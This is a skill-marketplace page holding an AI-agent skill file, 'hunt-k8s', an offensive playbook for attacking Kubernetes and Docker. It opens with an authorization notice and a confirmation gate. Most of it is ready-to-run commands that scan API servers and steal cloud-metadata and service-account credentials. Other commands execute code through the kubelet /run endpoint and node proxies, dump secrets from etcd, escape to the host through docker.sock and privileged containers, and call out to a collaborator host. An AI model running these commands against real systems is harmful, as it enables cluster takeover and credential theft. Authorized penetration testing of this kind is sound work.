[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P5ZJPBVB9REJAC21WWP9T2":3,"skill-same:01M6P5ZJPBVB9REJAC21WWP9T2":77},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":25,"publishedAt":46,"linkOnly":47,"markdownContent":48,"markdownBody":49,"frontMatter":50,"refName":36,"commitSha":58,"skillDirectory":59,"forksCount":13,"repositoryHtmlUrl":60,"repositoryHomepageUrl":6,"ownerHtmlUrl":61,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":62,"install":63,"resources":76},"01M6P5ZJPBVB9REJAC21WWP9T2","hunt-k8s",null,"Hunt Kubernetes & Docker","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-k8s\u002FSKILL.md",[17,22],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",[26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45],"hunt k8s","k8s","hunt","community","for","relevant","offensive","scripts","scope","commands","main","testing","only","Tools","cve","license","database","security","kubernetes","docker","2026-11-10 10:12:30",false,"---\nname: hunt-k8s\ndescription: Hunt Kubernetes & Docker\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: hackerone_public, cve_database, kubernetes_security_research, portswigger_research\nreport_count: 13\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-K8S — Kubernetes & Docker Security\n\n## Crown Jewel Targets\n\nK8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet `\u002Frun` shell pivots one finding to total compromise.\n\n**Highest-value findings:**\n- **K8s API anonymous cluster-admin** — `system:anonymous`\u002F`system:unauthenticated` bound to a powerful role (classic misconfig: `system:anonymous` in a `ClusterRoleBinding` to `cluster-admin`) → full `kubectl`. Mere anonymous `200` is NOT this (see false-positive section).\n- **Kubelet `10250` exec\u002Frun** — `\u002Frun` returns command output directly; `\u002Fexec` is a SPDY\u002FWebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.\n- **API-server-mediated kubelet RCE** — `\u002Fapi\u002Fv1\u002Fnodes\u002F\u003Cnode>\u002Fproxy\u002Frun\u002F...` reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grants `nodes\u002Fproxy`, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.\n- **etcd `2379` unauth** — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless `EncryptionConfiguration` is set) → full credential dump.\n- **docker.sock exposure** — SSRF\u002FLFI\u002FRCE reaching `\u002Fvar\u002Frun\u002Fdocker.sock` → create `--privileged` container, bind-mount host `\u002F` → host root.\n- **Container escape via runc** — Leaky Vessels (CVE-2024-21626): `WORKDIR`\u002F`process.cwd` pointing at a leaked `\u002Fproc\u002Fself\u002Ffd\u002F\u003Cn>` host FD → break out of an attacker-controlled image\u002Fexec to host root.\n- **SA token abuse** — auto-mounted token at `\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken`; check its real grants with SelfSubjectRulesReview before claiming impact.\n- **K8s Dashboard skip-login \u002F token-less API** — full cluster management UI reachable unauthenticated.\n\n---\n\n## OOB \u002F Confirmation Gate (Read First)\n\nK8s findings are RCE\u002Fcredential-disclosure class. House rule: **prove state change or data read, never infer from a status code.**\n\n- A `200` on `\u002Fapi\u002Fv1\u002Fnamespaces` does **not** mean cluster-admin. The API server returns `200` with an RBAC-filtered (often empty `items: []`) list to *any* principal that can reach `list namespaces` — anonymous read on a few resources is common and low-impact. Confirm real privilege with **SelfSubjectRulesReview \u002F SelfSubjectAccessReview**, then by actually reading a Secret value.\n- **10255 (read-only) vs 10250 (exec)** are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has `\u002Fpods`, `\u002Fstats`, `\u002Fmetrics`, NO exec\u002Frun. 10250 (HTTPS) is where `\u002Frun` and `\u002Fexec` live. Do not report \"kubelet RCE\" off a 10255 hit.\n- **Blind\u002Foutbound vectors need OOB.** If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator \u002F interactsh subdomain (e.g. `curl http:\u002F\u002F\u003Ctoken>.\u003Ccollab>` from inside the pod via `\u002Frun`). A delayed response or an echoed URL is NOT proof.\n- **Impact proof = the artifact.** For exec: the literal `id`\u002F`hostname` output. For etcd\u002FSecret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (`\u002Fetc\u002Fhostname` of the node, distinct from the container's).\n- Use a **dedicated test namespace \u002F test pod** when you have create rights; never exec into production workloads to \"prove\" RCE — list the pod and exec a read-only `id` in a pod you spun up if policy allows, or limit to a single non-destructive `id` and stop.\n\n---\n\n## Phase 1 — Fingerprint & Port Discovery\n\n```bash\n# Common Kubernetes \u002F container ports\nPORTS=\"443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010\"\nnmap -sV -p $PORTS $TARGET 2>\u002Fdev\u002Fnull | grep open\n\n# API server fingerprint — the \u002Fversion endpoint is anonymous on most clusters\ncurl -sk \"https:\u002F\u002F$TARGET:6443\u002Fversion\"        # {\"major\":\"1\",\"minor\":\"29\",\"gitVersion\":\"v1.29.x\"...}\ncurl -sk \"https:\u002F\u002F$TARGET:6443\u002Fapi\"             # APIVersions list, even pre-auth\ncurl -sk \"https:\u002F\u002F$TARGET:6443\u002Fhealthz\"\n\n# Cloud metadata pivot (reach K8s SA \u002F node creds from an SSRF foothold)\ncurl -s \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\" # AWS EKS (IMDSv1)\nTOK=$(curl -s -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\") # IMDSv2\ncurl -s -H \"X-aws-ec2-metadata-token: $TOK\" \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"\ncurl -s \"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\" -H \"Metadata: true\"      # Azure AKS\ncurl -s \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\" -H \"Metadata-Flavor: Google\" # GKE\n```\nNote the `gitVersion` — it gates every CVE below.\n\n---\n\n## Phase 2 — Kubernetes API Anonymous \u002F Low-Priv Access\n\n```bash\nSRV=\"https:\u002F\u002F$TARGET:6443\"\n\n# 1. What am I? (anonymous → \"system:anonymous\")\ncurl -sk \"$SRV\u002Fapis\u002Fauthentication.k8s.io\u002Fv1\u002Fselfsubjectreviews\" -X POST \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"apiVersion\":\"authentication.k8s.io\u002Fv1\",\"kind\":\"SelfSubjectReview\"}'\n\n# 2. What can I actually DO? (the only honest privilege check)\ncurl -sk \"$SRV\u002Fapis\u002Fauthorization.k8s.io\u002Fv1\u002Fselfsubjectrulesreviews\" -X POST \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io\u002Fv1\",\"spec\":{\"namespace\":\"default\"}}'\n\n# 3. Targeted access check for the crown-jewel verbs\nfor R in secrets pods nodes\u002Fproxy pods\u002Fexec; do\n  curl -sk \"$SRV\u002Fapis\u002Fauthorization.k8s.io\u002Fv1\u002Fselfsubjectaccessreviews\" -X POST \\\n   -H 'Content-Type: application\u002Fjson' \\\n   -d \"{\\\"kind\\\":\\\"SelfSubjectAccessReview\\\",\\\"apiVersion\\\":\\\"authorization.k8s.io\u002Fv1\\\",\\\"spec\\\":{\\\"resourceAttributes\\\":{\\\"verb\\\":\\\"create\\\",\\\"resource\\\":\\\"${R%%\u002F*}\\\",\\\"subresource\\\":\\\"${R#*\u002F}\\\"}}}\" \\\n   | grep -o '\"allowed\":[a-z]*' | sed \"s#^#$R #\"\ndone\n\n# 4. Only if access review says allowed — read a real Secret to prove impact\ncurl -sk \"$SRV\u002Fapi\u002Fv1\u002Fsecrets\" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get(\"items\",[])),\"secrets\")'\n# decode one value (redact before reporting):\n# echo '\u003Cbase64>' | base64 -d\n```\n\n**CVE-2018-1002105** (`gitVersion` \u003C v1.10.11\u002F1.11.5\u002F1.12.3): API-server proxy upgrade flaw lets an unauthenticated\u002Flow-priv user escalate to backend (kubelet\u002Faggregated-API) requests with API-server identity → cluster-admin. Fingerprint `gitVersion` in Phase 1; if vulnerable this is the single highest-impact finding.\n\n---\n\n## Phase 3 — Kubelet (Port 10250) — `\u002Frun` First, `\u002Fexec` Done Right\n\nThe earlier version of this skill sent `\u002Fexec` as a plain `POST` and expected `id` output back. **That is wrong.** `\u002Fexec` is a SPDY\u002FWebSocket *streaming* endpoint: a plain POST returns a **302 redirect to a stream location** (e.g. `\u002Fcri\u002Fexec\u002F\u003Ctoken>`) that you then must read with a SPDY\u002FWebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched.\n\n```bash\nSRV=\"https:\u002F\u002F$TARGET:10250\"\n\n# Enumerate pods (auth varies; many kubelets allow anonymous read here)\ncurl -sk \"$SRV\u002Fpods\" | python3 -m json.tool 2>\u002Fdev\u002Fnull \\\n  | grep -E '\"namespace\"|\"name\"|\"containerName\"' | head -40\n\nNS=default; POD=target-pod; CTR=app\n\n# --- PRIMITIVE A: \u002Frun — returns command output DIRECTLY (no stream handling) ---\n# This is the simple correct primitive. Use this first.\ncurl -sk -X POST \"$SRV\u002Frun\u002F$NS\u002F$POD\u002F$CTR\" -d \"cmd=id\"\ncurl -sk -X POST \"$SRV\u002Frun\u002F$NS\u002F$POD\u002F$CTR\" -d \"cmd=cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\"\n\n# --- PRIMITIVE B: \u002Fexec — SPDY\u002FWebSocket stream, NOT a plain POST ---\n# Option 1: kubeletctl handles the stream transport for you (recommended)\n#   kubeletctl --server $TARGET exec \"id\" -p $POD -c $CTR -n $NS\n#   kubeletctl --server $TARGET scan rce         # finds every exec-able pod\n# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then\n#   read it with a SPDY3.1\u002FWebSocket client (wscat \u002F websocat), e.g.:\n#   curl -sk -i -X POST \"$SRV\u002Fexec\u002F$NS\u002F$POD\u002F$CTR?command=id&input=1&output=1&tty=0\"   # shows 302 Location\n#   websocat -k \"wss:\u002F\u002F$TARGET:10250\u002Fcri\u002Fexec\u002F\u003Ctoken-from-Location>\"\n\n# Container logs (read-only, no stream)\ncurl -sk \"$SRV\u002FcontainerLogs\u002F$NS\u002F$POD\u002F$CTR\"\n\n# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec\u002Frun. Do not call this \"RCE\".\ncurl -s \"http:\u002F\u002F$TARGET:10255\u002Fpods\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head\ncurl -s \"http:\u002F\u002F$TARGET:10255\u002Fmetrics\" | head\n```\n\n**CVE-2020-8558** (host-network trust): on affected kube-proxy, services bound to the node's `127.0.0.1` (incl. the read-only kubelet and other localhost-only services) become reachable from other pods\u002Fadjacent hosts via the node IP, defeating the localhost trust boundary — a lateral path to kubelet\u002Fetcd that were assumed loopback-only.\n\n---\n\n## Phase 4 — API-Server-Mediated Kubelet RCE (`nodes\u002Fproxy`)\n\nWhen 10250 is firewalled but you hold a token (even a low-priv pod SA) with `nodes\u002Fproxy`, route exec **through the API server**:\n\n```bash\nSRV=\"https:\u002F\u002F$TARGET:6443\"; H=\"-H \\\"Authorization: Bearer $TOKEN\\\"\"\nNODE=$(curl -sk -H \"Authorization: Bearer $TOKEN\" \"$SRV\u002Fapi\u002Fv1\u002Fnodes\" | grep -o '\"name\":\"[^\"]*\"' | head -1 | cut -d'\"' -f4)\n\n# \u002Frun via the node proxy → output comes straight back\ncurl -sk -X POST -H \"Authorization: Bearer $TOKEN\" \\\n  \"$SRV\u002Fapi\u002Fv1\u002Fnodes\u002F$NODE\u002Fproxy\u002Frun\u002F$NS\u002F$POD\u002F$CTR\" -d \"cmd=id\"\n\n# enumerate every pod on a node via the proxy\ncurl -sk -H \"Authorization: Bearer $TOKEN\" \"$SRV\u002Fapi\u002Fv1\u002Fnodes\u002F$NODE\u002Fproxy\u002Fpods\"\n```\n`nodes\u002Fproxy` in any bound role is effectively node-wide RCE. **CVE-2022-3294** (kube-apiserver node-address validation): an authenticated user could redirect the API server's proxy connection to an arbitrary host\u002FIP it could reach (proxy-to-internal SSRF \u002F node impersonation) — relevant whenever you can influence node addresses or use the proxy subresource.\n\n---\n\n## Phase 4b — Ingress-NGINX \"IngressNightmare\" (CVE-2025-1974)\nAn unauthenticated attacker who can reach the ingress-nginx admission controller (`:8443`, usually cluster-internal but sometimes exposed) injects arbitrary NGINX config via a crafted `AdmissionReview` for an Ingress object -> RCE in the controller pod, whose service account is powerful -> full cluster compromise. Fingerprint controller version (`\u002Fhealthz`, pod image tag) and map to \u003C1.11.5 \u002F \u003C1.12.1. (CVE-2025-1974 with CVE-2025-1097\u002F1098\u002F24513\u002F24514.)\n\n## Phase 5 — etcd Unauth (Port 2379)\n\n```bash\n# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.\nETCDCTL_API=3 etcdctl --endpoints=http:\u002F\u002F$TARGET:2379 get \u002F --prefix --keys-only 2>\u002Fdev\u002Fnull | head -50\nETCDCTL_API=3 etcdctl --endpoints=http:\u002F\u002F$TARGET:2379 \\\n  get \u002Fregistry\u002Fsecrets --prefix 2>\u002Fdev\u002Fnull | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40\n\n# HTTP\u002FJSON gateway (key\u002Frange are base64; \"Lw==\" == \"\u002F\")\ncurl -s \"http:\u002F\u002F$TARGET:2379\u002Fv3\u002Fkv\u002Frange\" -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"key\":\"L3JlZ2lzdHJ5L3NlY3JldHM=\",\"range_end\":\"L3JlZ2lzdHJ5L3NlY3JldHQ=\",\"limit\":20}' | python3 -m json.tool\n\n# v2 (older clusters)\ncurl -s \"http:\u002F\u002F$TARGET:2379\u002Fv2\u002Fkeys\u002F?recursive=true\" | python3 -m json.tool 2>\u002Fdev\u002Fnull | head\n```\nA recovered SA token from etcd → replay against the API server (Phase 6) to confirm grants. **False positive:** a `200` from etcd peer port `2380` or a TLS-required port returning a handshake error is not unauth client access — only a successful `range`\u002F`get` with key data is.\n\n---\n\n## Phase 6 — Service Account Token Abuse (Bound \u002F Projected Tokens)\n\n```bash\n# From RCE\u002FLFI inside a pod:\nTOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\nNS=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fnamespace)\nAPI=\"https:\u002F\u002Fkubernetes.default.svc\"\n\n# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.\necho \"$TOKEN\" | cut -d. -f2 | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull | python3 -m json.tool \u003C!-- security-allowlist: documented payload decoding technique reference, do not execute outside authorized scope -->\n# Look at: \"aud\" (must match the API server audience to be accepted),\n#          \"exp\" (projected tokens rotate ~1h — a captured token may already be dead),\n#          \"kubernetes.io\u002Fserviceaccount\" (pod\u002Fnode binding — token dies with the pod).\n# If aud is e.g. [\"vault\"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.\n\n# Honest privilege check, then prove with a real read\ncurl -sk \"$API\u002Fapis\u002Fauthorization.k8s.io\u002Fv1\u002Fselfsubjectrulesreviews\" -X POST \\\n  -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\u002Fjson' \\\n  -d \"{\\\"kind\\\":\\\"SelfSubjectRulesReview\\\",\\\"apiVersion\\\":\\\"authorization.k8s.io\u002Fv1\\\",\\\"spec\\\":{\\\"namespace\\\":\\\"$NS\\\"}}\"\ncurl -sk \"$API\u002Fapi\u002Fv1\u002Fnamespaces\u002F$NS\u002Fsecrets\" -H \"Authorization: Bearer $TOKEN\"\n```\n\n**EphemeralContainers node-shell escalation:** with `pods\u002Fephemeralcontainers` (or pod `create`), attach a debug container that shares the host namespaces to escape the pod:\n```bash\nkubectl debug node\u002F$NODE -it --image=busybox      # mounts host root at \u002Fhost → chroot \u002Fhost\n# or patch an ephemeral container with hostPID\u002Fprivileged via the API:\ncurl -sk -X PATCH \"$API\u002Fapi\u002Fv1\u002Fnamespaces\u002F$NS\u002Fpods\u002F$POD\u002Fephemeralcontainers\" \\\n  -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\u002Fstrategic-merge-patch+json' \\\n  -d '{\"spec\":{\"ephemeralContainers\":[{\"name\":\"x\",\"image\":\"busybox\",\"command\":[\"sleep\",\"1d\"],\"securityContext\":{\"privileged\":true}}]}}'\n```\n\n---\n\n## Phase 7 — Docker Socket Exposure & runc Container Escape\n\n```bash\n# docker.sock reachable (SSRF unix:\u002F\u002F, LFI of socket, or RCE on host)\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fv1.41\u002Finfo\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fjson\n\n# Privileged container bind-mounting host root → read\u002Fwrite host fs (host escape)\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock -H 'Content-Type: application\u002Fjson' \\\n  -X POST http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fcreate?name=poc \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"cat\",\"\u002Fhost\u002Fetc\u002Fhostname\"],\"HostConfig\":{\"Binds\":[\"\u002F:\u002Fhost\"],\"Privileged\":true}}'\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock -X POST http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fpoc\u002Fstart\ncurl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock \"http:\u002F\u002Flocalhost\u002Fv1.41\u002Fcontainers\u002Fpoc\u002Flogs?stdout=1\"\n# Impact proof = the NODE's \u002Fetc\u002Fhostname (differs from the container's hostname).\n```\n\n**Container-escape CVEs (gate on runc\u002Fversion):**\n- **CVE-2024-21626 — \"Leaky Vessels\" (runc ≤ 1.1.11):** a leaked host file descriptor via `\u002Fproc\u002Fself\u002Ffd\u002F\u003Cn>` lets a malicious image (`WORKDIR \u002Fproc\u002Fself\u002Ffd\u002FN`) or `runc exec` cwd escape to the host filesystem → host RCE. Test only with an image you control on a build\u002Fregistry surface where you can influence the Dockerfile.\n- **CVE-2019-5736 (runc):** overwrite the host `\u002Fproc\u002Fself\u002Fexe` (the runc binary) from inside a container you can exec into → host root on next runc invocation. Applies to very old runc.\n- **CVE-2022-0492 (cgroups v1 `release_agent`):** a container with `CAP_SYS_ADMIN` (or able to mount cgroupfs) writes a `release_agent` that executes on the host → escape. Check container caps first.\n\n---\n\n## Phase 8 — Dashboard, Admission, Helm\u002FTiller Remnants\n\n```bash\n# Kubernetes Dashboard — correct API base is \u002Fapi\u002Fv1\u002F... UNDER the dashboard service.\ncurl -sk \"https:\u002F\u002F$TARGET:8443\u002F\" | grep -i \"kubernetes dashboard\"\n# token-less probe (skip-login or anonymous-bound dashboard SA):\ncurl -sk \"https:\u002F\u002F$TARGET:8443\u002Fapi\u002Fv1\u002Fsecret\u002Fdefault\"            # secrets list view\ncurl -sk \"https:\u002F\u002F$TARGET:8443\u002Fapi\u002Fv1\u002Fpod\u002Fdefault\"               # pods list view\ncurl -sk \"https:\u002F\u002F$TARGET:8443\u002Fapi\u002Fv1\u002Fnamespace\"                 # namespaces\n# (paths are \u003Cresource> not \u003Cresource>\u002F\u003Cid>; a 200 with real items = unauth dashboard data access)\n\n# Helm 2 \u002F Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA\nnmap -p 44134 -sV $TARGET\n# helm --host $TARGET:44134 ls   # if it answers, Tiller is exposed → install\u002Fdelete any release\n\n# Validating\u002FMutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs\ncurl -sk \"$SRV\u002Fapis\u002Fadmissionregistration.k8s.io\u002Fv1\u002Fvalidatingwebhookconfigurations\" -H \"Authorization: Bearer $TOKEN\"\n# A webhook clientConfig.url pointing at an external\u002Fattacker-influenced host = SSRF\u002Fbypass surface.\n```\n\n---\n\n## Chain Table\n\n| K8s finding | Chain to | Impact |\n|-------------|----------|--------|\n| API anon **with confirmed secret read** | extract SA\u002FTLS\u002Fapp creds | Full cluster compromise |\n| `nodes\u002Fproxy` token | API-server-mediated `\u002Frun` → pod RCE → SA token | Node-wide RCE → escalation |\n| Kubelet 10250 `\u002Frun` | exec in any pod → steal SA token → API | Cluster privilege escalation |\n| etcd 2379 unauth | dump all Secrets (if unencrypted) → replay token | Full credential dump |\n| docker.sock | privileged container + host bind-mount | Host root |\n| CVE-2024-21626 (runc) | malicious image\u002Fexec → host FD escape | Container → host root |\n| EphemeralContainers \u002F pods create | privileged\u002FhostPID debug container | Pod → node escape |\n| Projected SA token (aud matches) | API access scoped to its real RBAC | Depends on RBAC — verify first |\n| Tiller 44134 exposed | helm install as Tiller SA | Cluster-admin if Tiller is privileged |\n\n---\n\n## False-Positive Killers\n\n- **Anon `200` ≠ cluster-admin.** RBAC-filtered list returns `200`\u002Fempty `items`. Require SelfSubjectRulesReview to show the verbs, then an actual Secret value read.\n- **10255 ≠ 10250.** Read-only kubelet has no exec\u002Frun. \"Kubelet RCE\" must come from a `\u002Frun` output or a completed `\u002Fexec` stream on 10250.\n- **`\u002Fexec` plain-POST returns 302, not output.** Seeing no body is NOT \"patched\" — follow the stream (kubeletctl\u002Fwebsocat) before concluding either way.\n- **Projected\u002Fbound SA token may be dead or wrong-audience.** Decode `exp` and `aud`; a Vault\u002FOIDC-audience token will not authenticate to the API server.\n- **etcd plaintext assumption.** If `EncryptionConfiguration` is enabled, Secret values in etcd are ciphertext — don't claim \"plaintext secrets\" without showing decoded bytes.\n- **Version-gated CVEs.** Confirm `gitVersion` (Phase 1) \u002F runc version before asserting CVE-2018-1002105, -2024-21626, -2019-5736, etc. A version match is a lead; the PoC output is the proof.\n- **Dashboard `200` on the HTML shell** is just the login page; only a `200` with real resource JSON under `\u002Fapi\u002Fv1\u002F\u003Cresource>\u002F\u003Cns>` proves token-less data access.\n\n---\n\n## Validation Checklist\n\n- [ ] **API anon:** SelfSubjectRulesReview shows privileged verbs AND a real Secret value was read (redacted).\n- [ ] **Kubelet:** literal `id`\u002F`hostname` output returned from 10250 `\u002Frun`, or a completed `\u002Fexec` stream — not a bare 302.\n- [ ] **nodes\u002Fproxy RCE:** command output returned through `\u002Fapi\u002Fv1\u002Fnodes\u002F\u003Cnode>\u002Fproxy\u002Frun\u002F...` with your token.\n- [ ] **etcd:** decoded Secret bytes shown (proves unencrypted + readable), not just a key listing.\n- [ ] **docker.sock \u002F escape:** the NODE's host file content retrieved (distinct from container), or runc-escape PoC output.\n- [ ] **SA token:** `aud`\u002F`exp` decoded and shown valid; impact bounded to its real RBAC.\n- [ ] **OOB:** any outbound\u002FSSRF hop confirmed via Collaborator\u002Finteractsh subdomain.\n\n**Severity:**\n- API anon→secret read, kubelet\u002Fnodes-proxy RCE, etcd dump, docker.sock\u002Frunc escape, CVE-2018-1002105: **Critical**\n- Dashboard token-less data access, exposed Tiller: **High**\n- Read-only kubelet 10255, anon `\u002Fversion`\u002F`\u002Fpods` info disclosure: **Medium**\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-K8S — Kubernetes & Docker Security\n\n## Crown Jewel Targets\n\nK8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet `\u002Frun` shell pivots one finding to total compromise.\n\n**Highest-value findings:**\n- **K8s API anonymous cluster-admin** — `system:anonymous`\u002F`system:unauthenticated` bound to a powerful role (classic misconfig: `system:anonymous` in a `ClusterRoleBinding` to `cluster-admin`) → full `kubectl`. Mere anonymous `200` is NOT this (see false-positive section).\n- **Kubelet `10250` exec\u002Frun** — `\u002Frun` returns command output directly; `\u002Fexec` is a SPDY\u002FWebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.\n- **API-server-mediated kubelet RCE** — `\u002Fapi\u002Fv1\u002Fnodes\u002F\u003Cnode>\u002Fproxy\u002Frun\u002F...` reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grants `nodes\u002Fproxy`, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.\n- **etcd `2379` unauth** — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless `EncryptionConfiguration` is set) → full credential dump.\n- **docker.sock exposure** — SSRF\u002FLFI\u002FRCE reaching `\u002Fvar\u002Frun\u002Fdocker.sock` → create `--privileged` container, bind-mount host `\u002F` → host root.\n- **Container escape via runc** — Leaky Vessels (CVE-2024-21626): `WORKDIR`\u002F`process.cwd` pointing at a leaked `\u002Fproc\u002Fself\u002Ffd\u002F\u003Cn>` host FD → break out of an attacker-controlled image\u002Fexec to host root.\n- **SA token abuse** — auto-mounted token at `\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken`; check its real grants with SelfSubjectRulesReview before claiming impact.\n- **K8s Dashboard skip-login \u002F token-less API** — full cluster management UI reachable unauthenticated.\n\n---\n\n## OOB \u002F Confirmation Gate (Read First)\n\nK8s findings are RCE\u002Fcredential-disclosure class. House rule: **prove state change or data read, never infer from a status code.**\n\n- A `200` on `\u002Fapi\u002Fv1\u002Fnamespaces` does **not** mean cluster-admin. The API server returns `200` with an RBAC-filtered (often empty `items: []`) list to *any* principal that can reach `list namespaces` — anonymous read on a few resources is common and low-impact. Confirm real privilege with **SelfSubjectRulesReview \u002F SelfSubjectAccessReview**, then by actually reading a Secret value.\n- **10255 (read-only) vs 10250 (exec)** are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has `\u002Fpods`, `\u002Fstats`, 